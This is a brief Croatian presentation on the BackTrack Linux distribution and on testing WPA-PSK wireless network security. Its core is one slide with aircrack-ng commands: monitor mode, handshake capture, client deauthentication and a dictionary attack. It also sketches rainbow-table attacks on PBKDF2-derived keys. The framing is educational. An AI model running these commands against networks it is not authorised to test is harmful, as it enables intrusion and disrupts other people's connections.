

# BackTrack linux distribucija



- Tomislav Parčina, Udruga SOK



# Sadržaj

- Motivi
- Sastavnice BT Linux distribucije
- Testiranje sigurnosti WLAN mreže
- Daljnji rad



# Motivi

- WLAN mreže su nesigurne
- Upoznavanje s metodama zaštite podataka



# BackTrack linux distribucija

- <http://www.backtrack-linux.org/>
- HDD, Live DVD, USB...
- CLI, KDE grafičko sučelje



# • Sastavnice BT Linux distribucije

- Information gathering
- Network mapping
- Vulnerability identification
- WEP application analysis
- Radio network analysis
- Penetration
- Privilege escalation
- Digital forensics ...



# Testiranje sigurnosti WLAN mreže

- Metoda testiranja sigurnosti
  - Monitoring mode
  - Hvatanje handshake-a
  - Dictionary napad
- Rainbow (time-memory trade-off) napadi



# Testiranje sigurnosti WLAN mreže

- `airmon-ng start wlan0 11`
- `airodump-ng -c 11 --bssid 00:11:22:33:44:55 -w psk ath0`
- `aireplay-ng -0 1 -a 00:11:22:33:44:55 -c 00:aa:bb:cc:dd:ee ath0`
- `aircrack-ng -w password.lst -b 00:11:22:33:44:55 psk*.cap`



# • Rainbow (time-memory trade-off) napadi

- Time-memory trade-off => rainbow tablice
- SSID – 32 alphanumeric
- PSK – od 8 do 63 ASCII
- Key = PBKDF2(passphrase, ssid, 4096, 256)
- Funkcija PBKDF2 – RFC2898
- Temeljna funkcija HMAC-SHA1
- Izračun WPA ključa -  
<http://www.xs4all.nl/~rjoris/wpapsk.html>



# Daljnji rad

- Koliko ima znakova lozinka prosječnog korisnika?
- Koliko vremena i memorije za svaki SSID?



# BackTrack linux distribucija

Hvala na pažnji!

Pitanja?

